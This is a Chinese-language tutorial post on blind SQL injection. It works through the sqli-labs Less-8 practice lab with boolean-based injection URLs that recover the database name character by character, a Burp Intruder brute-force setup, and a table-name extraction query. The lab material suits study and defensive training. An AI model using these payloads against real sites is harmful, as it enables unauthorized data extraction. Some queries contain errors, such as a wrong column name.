大家好,欢迎来到IT知识分享网。
盲注定义
盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。
盲注分类:
布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
时间盲注:界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
布尔盲注
web页面只返回True真,False假两种类型利用页面返回不同,逐个猜解数据
关键函数
函数ascii()ascii美国信息交换标准代码,可以把字母转换为对应数字
length()函数 返回字符串的长度
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
char() 将ASCII码转换为对应的字符
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
这个是布尔盲注的基本语句 改变黄色语句的内容 substr((),1,1)控制输出内容()是指令,substr((),1,1) 表示从第1个字母开始,显示1个字母从1开始计数
题目示例——less9
输入?id=1
可以正常登录
http://127.0.0.1/sqli/Less-8/?id=1’《——加个单引号没有回显
http://127.0.0.1/sqli/Less-8/?id=1’- -+《——用注释符注释的时发现有Your are in…这个回显
基本可以判断是字符型,且可以判断闭合类型为‘
判断闭合方式的方法
页面呈现一种真值假值的判断,判断是布尔盲注
先用length()函数判断数据库名长度为8
http://localhost/sql/Less-8/?id=1′ and length(database())>=8 –+
http://localhost/sql/Less-8/?id=1′ and length(database())>=9 –+
输入http://localhost/sql/Less-8/?id=1′ and ascii(substr((database()),1,1))>=125 –+
从32-126用二分法爆出数据库名的第一个字母
输入http://localhost/sql/Less-8/?id=1′ and ascii(substr((database()),2,1))>=101 –+
爆出第二个字母
这样有点麻烦
可以用bp爆破一下
设置代理
抓包
send to intruder
先clean一下$
然后在 101和3那里 add一下&
最后把攻击方式改成cluster bomb
点击start attack
115-s
101-e
99-c
117-u
114-r
105-i
116-t
121-y
得到数据库名是security
爆破表名
http://192.168.3.10/sqli/Less-8/?id=1’ and (ascii(substr((select group_concat(table_name) from information_schema.tables where schema_name=‘security’),1,1))=48)- -+
爆破列名
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/147162.html